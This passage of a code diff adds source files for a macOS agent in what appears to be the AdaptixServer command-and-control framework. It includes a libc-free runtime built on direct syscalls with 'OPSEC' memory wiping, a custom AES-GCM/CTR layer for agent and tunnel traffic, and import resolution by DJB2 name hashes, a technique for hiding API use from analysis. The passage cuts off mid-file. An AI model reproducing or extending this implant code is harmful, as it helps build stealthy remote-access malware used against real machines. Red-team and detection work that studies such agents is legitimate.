@@ +#include "crt.h" +#include "types.h" + +/// ARM64 macOS direct syscalls +/// BSD syscall convention: x16 = syscall number (0x2000000 | bsd_number) +/// x0-x5 = arguments, result in x0, carry flag set on error + +#define SYS_exit 0x2000001 +#define SYS_read 0x2000003 +#define SYS_write 0x2000004 +#define SYS_open 0x2000005 +#define SYS_close 0x2000006 +#define SYS_mmap 0x20000C5 // 197 +#define SYS_munmap 0x2000049 // 73 + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0x80" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + return raw_syscall6(number, a0, a1, a2, 0, 0, 0); +} + +static inline long raw_syscall1(long number, long a0) { + return raw_syscall6(number, a0, 0, 0, 0, 0, 0); +} + +/// ---- Memory allocation via mmap/munmap ---- + +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x1000 // macOS: MAP_ANON = 0x1000 +#define PROT_READ 0x01 +#define PROT_WRITE 0x02 + +// Allocation header: store size for freeing +typedef struct { + size_t total_size; +} alloc_header_t; + +#define HEADER_SIZE ((sizeof(alloc_header_t) + 15) & ~15) // 16-byte aligned + +void* ax_malloc(size_t size) { + if (size == 0) return (void*)0; + + size_t total = HEADER_SIZE + size; + // Round up to page size for clean munmap on macOS + size_t page_total = (total + 4095) & ~4095UL; + // mmap(NULL, page_total, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + long result = raw_syscall6(SYS_mmap, 0, (long)page_total, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (result < 0 || result == 0) + return (void*)0; + + alloc_header_t* header = (alloc_header_t*)result; + header->total_size = page_total; + return (void*)((uint8_t*)result + HEADER_SIZE); +} + +void ax_free(void* ptr, size_t size) { + (void)size; + if (!ptr) return; + alloc_header_t* header = (alloc_header_t*)((uint8_t*)ptr - HEADER_SIZE); + size_t total = header->total_size; + // Sanity check: total_size must be page-aligned and reasonable + if (total == 0 || (total & 4095) != 0 || total > (1UL << 30)) { + // Header corrupted — skip memset, just munmap with page-aligned size + total = ((HEADER_SIZE + size) + 4095) & ~4095UL; + } else { + // Zero memory before freeing (OPSEC) + ax_memset(ptr, 0, total - HEADER_SIZE); + } + raw_syscall3(SYS_munmap, (long)header, (long)total, 0); +} + +void* ax_realloc(void* ptr, size_t old_size, size_t new_size) { + if (!ptr) return ax_malloc(new_size); + if (new_size == 0) { + ax_free(ptr, old_size); + return (void*)0; + } + + void* new_ptr = ax_malloc(new_size); + if (!new_ptr) return (void*)0; + + size_t copy_size = old_size < new_size ? old_size : new_size; + ax_memcpy(new_ptr, ptr, copy_size); + ax_free(ptr, old_size); + return new_ptr; +} + +/// ---- String/memory functions ---- + +void* ax_memset(void* dst, int val, size_t n) { + uint8_t* d = (uint8_t*)dst; + while (n--) *d++ = (uint8_t)val; + return dst; +} + +void* ax_memcpy(void* dst, const void* src, size_t n) { + uint8_t* d = (uint8_t*)dst; + const uint8_t* s = (const uint8_t*)src; + while (n--) *d++ = *s++; + return dst; +} + +void* ax_memmove(void* dst, const void* src, size_t n) { + uint8_t* d = (uint8_t*)dst; + const uint8_t* s = (const uint8_t*)src; + if (d < s) { + while (n--) *d++ = *s++; + } else { + d += n; + s += n; + while (n--) *--d = *--s; + } + return dst; +} + +int ax_memcmp(const void* a, const void* b, size_t n) { + const uint8_t* pa = (const uint8_t*)a; + const uint8_t* pb = (const uint8_t*)b; + while (n--) { + if (*pa != *pb) return *pa - *pb; + pa++; + pb++; + } + return 0; +} + +size_t ax_strlen(const char* s) { + const char* p = s; + while (*p) p++; + return (size_t)(p - s); +} + +int ax_strcmp(const char* a, const char* b) { + while (*a && (*a == *b)) { a++; b++; } + return *(unsigned char*)a - *(unsigned char*)b; +} + +int ax_strncmp(const char* a, const char* b, size_t n) { + while (n && *a && (*a == *b)) { a++; b++; n--; } + if (n == 0) return 0; + return *(unsigned char*)a - *(unsigned char*)b; +} + +char* ax_strcpy(char* dst, const char* src) { + char* d = dst; + while ((*d++ = *src++)); + return dst; +} + +char* ax_strncpy(char* dst, const char* src, size_t n) { + char* d = dst; + while (n && (*d++ = *src++)) n--; + while (n--) *d++ = '\0'; + return dst; +} + +char* ax_strcat(char* dst, const char* src) { + char* d = dst + ax_strlen(dst); + while ((*d++ = *src++)); + return dst; +} + +char* ax_strstr(const char* haystack, const char* needle) { + if (!*needle) return (char*)haystack; + size_t nlen = ax_strlen(needle); + while (*haystack) { + if (ax_strncmp(haystack, needle, nlen) == 0) + return (char*)haystack; + haystack++; + } + return (char*)0; +} + +char* ax_strchr(const char* s, int c) { + while (*s) { + if (*s == (char)c) return (char*)s; + s++; + } + if (c == '\0') return (char*)s; + return (char*)0; +} + +/// ---- Integer conversion ---- + +int ax_atoi(const char* s) { + int result = 0, sign = 1; + while (*s == ' ') s++; + if (*s == '-') { sign = -1; s++; } + else if (*s == '+') { s++; } + while (*s >= '0' && *s <= '9') { + result = result * 10 + (*s - '0'); + s++; + } + return sign * result; +} + +int ax_hextoi(const char* s) { + unsigned int result = 0; + while (*s == ' ') s++; + if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; + while (1) { + char c = *s; + if (c >= '0' && c <= '9') result = (result << 4) | (unsigned)(c - '0'); + else if (c >= 'a' && c <= 'f') result = (result << 4) | (unsigned)(c - 'a' + 10); + else if (c >= 'A' && c <= 'F') result = (result << 4) | (unsigned)(c - 'A' + 10); + else break; + s++; + } + return (int)result; +} + +void ax_itoa(int val, char* buf, int base) { + char tmp[32]; + int i = 0, neg = 0; + + if (val < 0 && base == 10) { + neg = 1; + val = -val; + } + + unsigned int uval = (unsigned int)val; + do { + int digit = uval % base; + tmp[i++] = digit < 10 ? '0' + digit : 'a' + digit - 10; + uval /= base; + } while (uval > 0); + + if (neg) tmp[i++] = '-'; + + int j = 0; + while (i > 0) buf[j++] = tmp[--i]; + buf[j] = '\0'; +} + +/// ---- Random ---- + +int ax_random_bytes(void* buf, size_t len) { + // Open /dev/urandom + long fd = raw_syscall3(SYS_open, (long)"/dev/urandom", 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + + size_t total = 0; + while (total < len) { + long n = raw_syscall3(SYS_read, fd, (long)((uint8_t*)buf + total), (long)(len - total)); + if (n <= 0) { + raw_syscall1(SYS_close, fd); + return -1; + } + total += n; + } + raw_syscall1(SYS_close, fd); + return 0; +} + +/// ---- Buffer (growable byte array) ---- + +int buf_init(buffer_t* b, size_t initial_cap) { + b->data = (uint8_t*)ax_malloc(initial_cap); + if (!b->data) return -1; + b->len = 0; + b->cap = initial_cap; + return 0; +} + +int buf_append(buffer_t* b, const void* data, size_t len) { + if (b->len + len > b->cap) { + size_t new_cap = b->cap * 2; + while (new_cap < b->len + len) new_cap *= 2; + uint8_t* new_data = (uint8_t*)ax_realloc(b->data, b->cap, new_cap); + if (!new_data) return -1; + b->data = new_data; + b->cap = new_cap; + } + ax_memcpy(b->data + b->len, data, len); + b->len += len; + return 0; +} + +void buf_free(buffer_t* b) { + if (b->data) { + ax_free(b->data, b->cap); + b->data = (uint8_t*)0; + } + b->len = 0; + b->cap = 0; +} + +void buf_reset(buffer_t* b) { + b->len = 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h new file mode 100644 index 00000000..8321a62d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h @@ -0,0 +1,36 @@ +#ifndef CRT_H +#define CRT_H + +#include +#include + +/// Minimal custom runtime — no libc dependency for core operations +/// Memory allocation uses mmap/munmap directly + +void* ax_malloc(size_t size); +void ax_free(void* ptr, size_t size); +void* ax_realloc(void* ptr, size_t old_size, size_t new_size); + +void* ax_memset(void* dst, int val, size_t n); +void* ax_memcpy(void* dst, const void* src, size_t n); +void* ax_memmove(void* dst, const void* src, size_t n); +int ax_memcmp(const void* a, const void* b, size_t n); + +size_t ax_strlen(const char* s); +int ax_strcmp(const char* a, const char* b); +int ax_strncmp(const char* a, const char* b, size_t n); +char* ax_strcpy(char* dst, const char* src); +char* ax_strncpy(char* dst, const char* src, size_t n); +char* ax_strcat(char* dst, const char* src); +char* ax_strstr(const char* haystack, const char* needle); +char* ax_strchr(const char* s, int c); + +/// Integer conversion +int ax_atoi(const char* s); +int ax_hextoi(const char* s); +void ax_itoa(int val, char* buf, int base); + +/// Random bytes (reads /dev/urandom) +int ax_random_bytes(void* buf, size_t len); + +#endif // CRT_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c new file mode 100644 index 00000000..a9d1156a --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c @@ -0,0 +1,417 @@ +#include "crypt.h" +#include "crt.h" + +/// ---- AES-128 Core ---- + +static const uint8_t aes_sbox[256] = { + 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, + 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, + 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, + 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, + 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, + 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, + 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, + 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, + 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, + 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, + 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, + 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, + 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, + 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, + 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, + 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 +}; + +static const uint8_t aes_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 +}; + +#define AES128_ROUNDS 10 +#define AES128_NK 4 +#define AES128_NB 4 + +// Key expansion for AES-128: 11 round keys (44 words = 176 bytes) +static void aes128_key_expand(const uint8_t* key, uint8_t* rk) { + ax_memcpy(rk, key, 16); + + for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) { + uint8_t temp[4]; + temp[0] = rk[(i-1)*4 + 0]; + temp[1] = rk[(i-1)*4 + 1]; + temp[2] = rk[(i-1)*4 + 2]; + temp[3] = rk[(i-1)*4 + 3]; + + if (i % AES128_NK == 0) { + // RotWord + uint8_t t = temp[0]; + temp[0] = temp[1]; temp[1] = temp[2]; + temp[2] = temp[3]; temp[3] = t; + // SubWord + temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]]; + temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]]; + // XOR rcon + temp[0] ^= aes_rcon[i/AES128_NK - 1]; + } + + rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0]; + rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1]; + rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2]; + rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3]; + } +} + +// GF(2^8) multiplication (for MixColumns) +static uint8_t gf_mul(uint8_t a, uint8_t b) { + uint8_t result = 0; + while (b) { + if (b & 1) result ^= a; + uint8_t hi = a & 0x80; + a <<= 1; + if (hi) a ^= 0x1B; // reduction polynomial + b >>= 1; + } + return result; +} + +// AES state operations (in-place on 16-byte block) +static void sub_bytes(uint8_t* state) { + for (int i = 0; i < 16; i++) + state[i] = aes_sbox[state[i]]; +} + +static void shift_rows(uint8_t* s) { + uint8_t t; + // row 1: shift left 1 + t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t; + // row 2: shift left 2 + t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t; + // row 3: shift left 3 + t = s[15]; s[15] = s[11]; s[11] = s[7]; s[7] = s[3]; s[3] = t; +} + +static void mix_columns(uint8_t* s) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3]; + s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3; + s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3; + s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3); + s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2); + } +} + +static void add_round_key(uint8_t* state, const uint8_t* rk, int round) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[round * 16 + i]; +} + +// Encrypt one 16-byte block +static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) { + uint8_t state[16]; + ax_memcpy(state, in, 16); + + add_round_key(state, rk, 0); + + for (int round = 1; round < AES128_ROUNDS; round++) { + sub_bytes(state); + shift_rows(state); + mix_columns(state); + add_round_key(state, rk, round); + } + + sub_bytes(state); + shift_rows(state); + add_round_key(state, rk, AES128_ROUNDS); + + ax_memcpy(out, state, 16); +} + +/// ---- GCM Mode ---- + +// GF(2^128) multiplication for GHASH +// Using bit-by-bit method (simple, ~200 iterations per multiply) +static void ghash_mul(uint8_t* x, const uint8_t* h) { + uint8_t z[16] = {0}; + uint8_t v[16]; + ax_memcpy(v, h, 16); + + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (0x80 >> (i % 8))) { + for (int j = 0; j < 16; j++) z[j] ^= v[j]; + } + // v = v >> 1 in GF(2^128) with reduction R = 0xE1000...0 + uint8_t carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) v[0] ^= 0xE1; + } + + ax_memcpy(x, z, 16); +} + +// GHASH: process AAD and ciphertext +static void ghash(const uint8_t* h, const uint8_t* data, size_t data_len, uint8_t* out) { + ax_memset(out, 0, 16); + size_t blocks = data_len / 16; + for (size_t i = 0; i < blocks; i++) { + for (int j = 0; j < 16; j++) + out[j] ^= data[i * 16 + j]; + ghash_mul(out, h); + } + // Handle partial last block + size_t rem = data_len % 16; + if (rem > 0) { + for (size_t j = 0; j < rem; j++) + out[j] ^= data[blocks * 16 + j]; + ghash_mul(out, h); + } +} + +// Increment counter (last 4 bytes, big-endian) +static void inc32(uint8_t* counter) { + for (int i = 15; i >= 12; i--) { + if (++counter[i]) break; + } +} + +// AES-CTR: XOR data with AES(counter) stream +static void aes_ctr(const uint8_t* rk, uint8_t* counter, + const uint8_t* in, uint8_t* out, size_t len) { + uint8_t keystream[16]; + size_t offset = 0; + while (offset < len) { + aes128_encrypt_block(counter, keystream, rk); + inc32(counter); + size_t chunk = len - offset; + if (chunk > 16) chunk = 16; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ keystream[i]; + offset += chunk; + } +} + +/// ---- Public API ---- + +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, size_t* out_len) { + uint8_t rk[176]; // 11 round keys × 16 bytes + aes128_key_expand(key, rk); + + // H = AES_K(0^128) + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + // Generate random nonce (12 bytes) + uint8_t nonce[GCM_NONCE_SIZE]; + ax_random_bytes(nonce, GCM_NONCE_SIZE); + + // J0 = nonce || 0x00000001 + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + // Counter starts at J0 + 1 for CTR encryption + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + // Allocate output: nonce + ciphertext + tag + *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE; + uint8_t* output = (uint8_t*)ax_malloc(*out_len); + if (!output) return (uint8_t*)0; + + // Copy nonce to output + ax_memcpy(output, nonce, GCM_NONCE_SIZE); + + // Encrypt plaintext to output + nonce_size + uint8_t* ct = output + GCM_NONCE_SIZE; + if (plaintext_len > 0) { + aes_ctr(rk, counter, plaintext, ct, plaintext_len); + } + + // Compute GHASH(AAD || ciphertext || lengths) + // No AAD in our protocol, so GHASH just covers ciphertext + length block + uint8_t ghash_out[16] = {0}; + + // Process ciphertext blocks + size_t ct_blocks = plaintext_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = plaintext_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + // Final length block: [AAD_len_bits (64-bit BE)][CT_len_bits (64-bit BE)] + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)plaintext_len * 8; + // AAD length = 0 (first 8 bytes stay zero) + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + // Tag = GHASH ^ AES_K(J0) + uint8_t tag[16]; + aes128_encrypt_block(j0, tag, rk); + for (int j = 0; j < 16; j++) + tag[j] ^= ghash_out[j]; + + // Append tag + ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE); + + // Zero sensitive data + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return output; +} + +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, size_t* out_len) { + if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE) + return (uint8_t*)0; + + size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE; + const uint8_t* nonce = data; + const uint8_t* ct = data + GCM_NONCE_SIZE; + const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len; + + uint8_t rk[176]; + aes128_key_expand(key, rk); + + // H = AES_K(0^128) + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + // J0 = nonce || 0x00000001 + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + // Verify tag first (before decryption) + uint8_t ghash_out[16] = {0}; + + size_t ct_blocks = ct_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = ct_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)ct_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t computed_tag[16]; + aes128_encrypt_block(j0, computed_tag, rk); + for (int j = 0; j < 16; j++) + computed_tag[j] ^= ghash_out[j]; + + // Constant-time tag comparison (anti-timing) + uint8_t diff = 0; + for (int j = 0; j < GCM_TAG_SIZE; j++) + diff |= computed_tag[j] ^ tag[j]; + + if (diff != 0) { + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + return (uint8_t*)0; // Authentication failed + } + + // Decrypt + *out_len = ct_len; + uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1); + if (!plaintext) { + ax_memset(rk, 0, sizeof(rk)); + return (uint8_t*)0; + } + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + if (ct_len > 0) { + aes_ctr(rk, counter, ct, plaintext, ct_len); + } + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return plaintext; +} + +/// ---- Public AES-CTR wrappers (for tunnel/terminal) ---- + +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) { + aes128_key_expand(key, round_keys); +} + +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) { + aes128_key_expand(key, ctx->round_keys); + for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i]; + ctx->ks_offset = 16; // force generation on first use (no cached keystream) + for (int i = 0; i < 16; i++) ctx->keystream[i] = 0; +} + +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len) { + size_t pos = 0; + + // Consume any remaining bytes from the current keystream block + while (pos < len && ctx->ks_offset < 16) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + + // Process full blocks + while (pos + 16 <= len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + for (int i = 0; i < 16; i++) + out[pos + i] = in[pos + i] ^ ctx->keystream[i]; + pos += 16; + } + + // Handle final partial block (cache remainder for next call) + if (pos < len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + ctx->ks_offset = 0; + while (pos < len) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + } +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h new file mode 100644 index 00000000..0de8400d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h @@ -0,0 +1,54 @@ +#ifndef CRYPT_H +#define CRYPT_H + +#include +#include + +/// AES-128-GCM encryption/decryption +/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes] +/// Key: 16 bytes (AES-128) +/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key + +#define AES_KEY_SIZE 16 +#define AES_BLOCK_SIZE 16 +#define GCM_NONCE_SIZE 12 +#define GCM_TAG_SIZE 16 + +// Encrypt: allocates output buffer [nonce][ciphertext][tag] +// Returns output and sets *out_len. Caller must free output. +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, + size_t* out_len); + +// Decrypt: allocates output buffer (plaintext) +// Input format: [nonce 12B][ciphertext][tag 16B] +// Returns plaintext and sets *out_len. Caller must free output. +// Returns NULL on authentication failure. +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, + size_t* out_len); + +/// AES-128-CTR for tunnel/terminal streaming +/// Key: 16 bytes, IV: 16 bytes (used as initial counter) + +/// Expand AES-128 key into round keys (176 bytes) +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys); + +/// CTR stream context — preserves partial keystream between calls +/// This matches Go's cipher.NewCTR behavior where partial blocks +/// are carried across calls. +typedef struct { + uint8_t round_keys[176]; + uint8_t counter[16]; + uint8_t keystream[16]; // cached keystream block + uint8_t ks_offset; // how many bytes used in current keystream (0-16) +} aes128_ctr_ctx_t; + +/// Initialize CTR context with key and IV +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv); + +/// Process data with CTR stream (preserves partial block state) +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len); + +#endif // CRYPT_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c new file mode 100644 index 00000000..16bdb1d1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c @@ -0,0 +1,322 @@ +#include "dyld_resolve.h" +#include "crt.h" + +#include +#include +#include + +/// Global resolved API table +resolved_apis_t g_apis; + +/// DJB2 hash — case-insensitive, seeded +/// Matches Go's djb2a(seed, strings.ToLower(s)) +uint32_t djb2_hash(const char* str) { + if (!str) return 0; + uint32_t hash = DJB2_SEED; + int c; + while ((c = *str++)) { + if (c >= 'A' && c <= 'Z') + c += 0x20; // lowercase + hash = ((hash << 5) + hash) + (uint32_t)c; + } + return hash; +} + +/// Extract basename from a path: "/usr/lib/libSystem.B.dylib" → "libSystem.B.dylib" +static const char* path_basename(const char* path) { + const char* last = path; + while (*path) { + if (*path == '/') last = path + 1; + path++; + } + return last; +} + +/// Resolve a dylib by DJB2 hash of its basename +void* dyld_resolve_lib(uint32_t name_hash) { + uint32_t count = _dyld_image_count(); + for (uint32_t i = 0; i < count; i++) { + const char* name = _dyld_get_image_name(i); + if (!name) continue; + + const char* base = path_basename(name); + if (djb2_hash(base) == name_hash) { + return (void*)_dyld_get_image_header(i); + } + } + return (void*)0; +} + +/// Resolve a symbol within a Mach-O image by DJB2 hash +/// Parses the Mach-O header → finds LC_SYMTAB → walks nlist entries +void* dyld_resolve_sym(void* image_header, uint32_t symbol_hash) { + if (!image_header) return (void*)0; + + const struct mach_header_64* header = (const struct mach_header_64*)image_header; + + // Verify magic + if (header->magic != MH_MAGIC_64) return (void*)0; + + // Find LC_SYMTAB load command + const struct load_command* cmd = (const struct load_command*)(header + 1); + const struct symtab_command* symtab = (const struct symtab_command*)0; + intptr_t slide = 0; + intptr_t linkedit_base = 0; + intptr_t text_base = 0; + + // First pass: find __LINKEDIT and __TEXT segments for slide calculation + const struct load_command* cmd_iter = cmd; + for (uint32_t i = 0; i < header->ncmds; i++) { + if (cmd_iter->cmd == LC_SEGMENT_64) { + const struct segment_command_64* seg = (const struct segment_command_64*)cmd_iter; + if (seg->segname[0] == '_' && seg->segname[1] == '_' && + seg->segname[2] == 'L' && seg->segname[3] == 'I' && + seg->segname[4] == 'N' && seg->segname[5] == 'K') { + // __LINKEDIT + linkedit_base = (intptr_t)(seg->vmaddr - seg->fileoff); + } + if (seg->segname[0] == '_' && seg->segname[1] == '_' && + seg->segname[2] == 'T' && seg->segname[3] == 'E' && + seg->segname[4] == 'X' && seg->segname[5] == 'T' && + seg->segname[6] == '\0') { + // __TEXT + text_base = (intptr_t)seg->vmaddr; + } + } + cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize); + } + + // Calculate ASLR slide + slide = (intptr_t)header - text_base; + + // Second pass: find LC_SYMTAB + cmd_iter = cmd; + for (uint32_t i = 0; i < header->ncmds; i++) { + if (cmd_iter->cmd == LC_SYMTAB) { + symtab = (const struct symtab_command*)cmd_iter; + break; + } + cmd_iter = (const struct load_command*)((const uint8_t*)cmd_iter + cmd_iter->cmdsize); + } + + if (!symtab || symtab->nsyms == 0) return (void*)0; + + // Get string table and symbol table addresses + const char* strtab = (const char*)(linkedit_base + slide + symtab->stroff); + const struct nlist_64* symbols = (const struct nlist_64*)(linkedit_base + slide + symtab->symoff); + + // Walk symbol table + for (uint32_t i = 0; i < symtab->nsyms; i++) { + const struct nlist_64* sym = &symbols[i]; + + // Skip debug, undefined, and non-external symbols + if ((sym->n_type & N_STAB) != 0) continue; // debug symbol + if ((sym->n_type & 